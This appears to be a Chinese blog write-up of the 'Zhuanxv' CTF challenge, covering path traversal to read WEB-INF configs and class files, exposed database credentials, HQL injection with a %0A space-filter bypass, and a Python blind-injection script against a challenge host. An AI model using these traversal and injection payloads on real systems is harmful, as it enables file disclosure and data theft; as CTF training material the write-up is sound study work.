首页 > 其他分享 >CTF 之Zhuanxv

CTF 之Zhuanxv

时间:2024-04-05 16:58:31浏览次数:10  
标签:.. public CTF import Zhuanxv com class cuitctf

拿到题目进行目录遍历发现有一个/list文件

 打开/list文件,发现是一个登录界面

 尝试过爆破,毫无疑问不可能成功。

刷新页面,抓包,然后放一个包,发现又发了一个请求。

GET /loadimage?fileName=web_login_bg.jpg HTTP/1.1

通过/loadimage?fileName=web_login_bg.jpg拿到了图片。然后尝试不同的文件格式查看,最后确定是xml格式。

既然知道了服务器的地址和请求路径,我们就通过路径访问得到项目的xml配置文件,于是构造payload: 

/loadimage?fileName=../../WEB-INF/web.xml

 是个下载文件,bg.jpg。

javaweb项目的特点,那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的。

将其改成xml文件,查看源码

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/ctfpage/404.html</location>
    </error-page>
</web-app>

可以看到,该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:

/loadimage?fileName=../../WEB-INF/classes/struts.xml

 又得到一个jpg文件,改成xml文件

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
	<constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

看到有很多class,这就是所谓的映射文件,如 表示访问loadimage路径时候,会去找字节码com.cuitctf.action.DownloadAction文件去加载内容,我们构造payload

/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class

 下载下来后请记得修改文件名称.class,然后在IDEA使用decompiler插件进行反编译,挨个查看后,发现UserLoginAction.class反编译出来的内容与登录页面最为相关

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.action;

import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.context.ApplicationContext;

public class UserLoginAction extends ActionSupport {
    private UserService userService;
    private User user;

    public UserLoginAction() {
        ApplicationContext context = InitApplicationContext.getApplicationContext();
        this.userService = (UserService)context.getBean("userService");
    }

    public String execute() throws Exception {
        System.out.println("start:" + this.user.getName());
        ActionContext actionContext = ActionContext.getContext();
        Map<String, Object> request = (Map)actionContext.get("request");

        try {
            if (!this.userCheck(this.user)) {
                request.put("error", "登录失败,请检查用户名和密码");
                System.out.println("登陆失败");
                return "error";
            }
        } catch (Exception var4) {
            var4.printStackTrace();
            throw var4;
        }

        System.out.println("login SUCCESS");
        ActionContext.getContext().getSession().put("user", this.user);
        return "success";
    }

    public boolean isValid(String username) {
        String valiidateString = "[a-zA-Z0-9]{1-16}";
        return matcher(valiidateString, username);
    }

    private static boolean matcher(String reg, String string) {
        boolean tem = false;
        Pattern pattern = Pattern.compile(reg);
        Matcher matcher = pattern.matcher(string);
        tem = matcher.matches();
        return tem;
    }

    public boolean userCheck(User user) {
        List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
        if (userList != null && userList.size() == 1) {
            return true;
        } else {
            this.addActionError("Username or password is Wrong, please check!");
            return false;
        }
    }

    public UserService getUserService() {
        return this.userService;
    }

    public void setUserService(UserService userService) {
        this.userService = userService;
    }

    public User getUser() {
        return this.user;
    }

    public void setUser(User user) {
        this.user = user;
    }
}

 其中引入了重要的几个包,因此构造payload,拿到源码:

/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

 User.class反编译后是一个Bean文件,UserLoginAction.class反编译后是登录验证逻辑文件,InitApplicationContext.class反编译后是类加载器文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.util;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InitApplicationContext {
    private static ApplicationContext context = null;

    private InitApplicationContext() {
    }

    public static ApplicationContext getApplicationContext() {
        if (context == null) {
            context = new ClassPathXmlApplicationContext("applicationContext.xml");
        }

        return context;
    }
}

 加载应用的xml配置文件为applicationContext.xml,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:

/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

下载后可以得到文件代码,如下 

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

其中暴露了使用的数据库,数据库账号密码,且其中包含了user.hbm.xml等配置文件,同样我们将其下载出来 

/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

 UserServiceImpl.class反编译后,是对登录信息进行了过滤

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.service.impl;

import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class UserServiceImpl implements UserService {
    private UserDao userDao;

    public UserServiceImpl() {
    }

    public UserDao gerUserDao() {
        return this.userDao;
    }

    public void setUserDao(UserDao userDao) {
        this.userDao = userDao;
    }

    public List<User> findUserByName(String name) {
        return this.userDao.findUserByName(name);
    }

    public List<User> loginCheck(String name, String password) {
        name = name.replaceAll(" ", "");
        name = name.replaceAll("=", "");
        Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
        Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
        return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;
    }
}

 UserDaoImpl.class反编译后,是对登录的sql查找

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.dao.impl;

import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;

public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
    public UserDaoImpl() {
    }

    public List<User> findUserByName(String name) {
        return this.getHibernateTemplate().find("from User where name ='" + name + "'");
    }

    public List<User> loginCheck(String name, String password) {
        return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
    }
}


上面的sql语句使用HSQL,什么是HSQL,参考https://www.cnblogs.com/fengyouheng/p/11013013.html。因此构造登录账号密码:

from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:

admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

因此用户名:admin’%0Aor%0A’1’>‘0’%0Aor%0Aname%0Alike%0A’admin
密码:随意

这里登录不能使用post传输,所以我们所以hackbar关掉post,直接加后面作payload

/zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
&user.password=123#

 很可惜进来了还是没有一点线索。。。。。

 

最终只能考大佬的脚本了

import requests

s = requests.session()

flag = ''
for i in range(1, 50):
    p = ''
    for j in range(1, 255):
        # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
        payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
        # print payload
        url = "http://61.147.171.105:50156/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123"
        r1 = s.get(url)
        if len(r1.text) > 20000 and p != '':
            flag += p
            #print(i, flag)
            break
        p = chr(j)
print(flag)

 
sctf{C46E250926A2DFFD831975396222B08E}

标签:..,public,CTF,import,Zhuanxv,com,class,cuitctf
From: https://blog.csdn.net/qq_74263993/article/details/137383700

相关文章

  • ctfshow--红包一 ob混淆
    上来是一段混淆的ob混淆的js代码,还会有个setinterval无限debugger反调试点击查看代码function_0x51ba(){const_0x4b06d7=['padding:100px\x20120px;\x20font-size:\x200;\x20background:url(\x22','%c\x20','4794822nLKJYA',......
  • ctfshow--红包题第二弹 临时文件命令执行
    上来先代码审计点击查看代码<?phpif(isset($_GET['cmd'])){$cmd=$_GET['cmd'];highlight_file(__FILE__);if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){die("cerror");......
  • ctfshow--web14 sql注入利用``的清奇的绕过
    输入c=3就会跳出来这个url复制并访问,看这个页面应该是sql注入有注释可看,看看他过滤了哪些东西点击查看代码if(preg_match('/information_schema\.tables|information_schema\.columns|linestring||polygon/is',$_GET['query'])){ die('@A@'); }点击查看代码查看......
  • CTFshow web入门 爆破
    web21随便输入一个账号密码发现是base64调一下设置先clear了再添加要爆破的部分由于那一段分不开所以设置头为admin密码为shark63,账号一般为admin所以不用管(我用的不好,别人直接出来了我得这样子才行,将就着看)web22域名失效了,看的wp很细节,在子域名里面有flagweb23......
  • ctfshow web入门 php特性 web89--web107
    web89看到有intval函数这里建议先观看一篇博客好绕过https://blog.csdn.net/wangyuxiang946/article/details/131156104?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171220387216800197044297%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%......
  • CTFHub(web RCE)
    目录RCE命令注入方法一:方法二:方法三:注意:过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习文件包含php://input远程包含读取源代码方法一:方法二:方法三:eval执行RCE(remotecommand/codeexecute,远程命令执行)命令执行一般发生在远程,故被称为远程命......
  • ctfshow--web13 .user.ini上传和bak源码泄露
    upload.php.bak源码泄露了审计一下点击查看代码<?php header("content-type:text/html;charset=utf-8"); $filename=$_FILES['file']['name']; $temp_name=$_FILES['file']['tmp_name']; $size=$_FILES['file'......
  • ctfshow--web12 glob和show_source命令执行
    查看源代码有提示以为是cmd命令解过输入linux命令愣是没反应后来输入phpinfo()才有回显原来是被误导了。一开始想的是直接写入一句话木马点击查看代码@eval($_POST['attack']);echo111;//这里的echo111是方便看我们有没有植入成功的这里有111的回显证明木马注入成......
  • ctfshow--web11session置空绕过
    代码审计点击查看代码<?phpfunctionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";returnpreg_replace($regex,"",$strParam);}if(strlen($passw......
  • ctfshow--web10
    dirsearch没有扫到文件查看源代码发现有个style.css文件点击查看查看index.phps代码又是代码审计点击查看代码<?php $flag="";functionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";......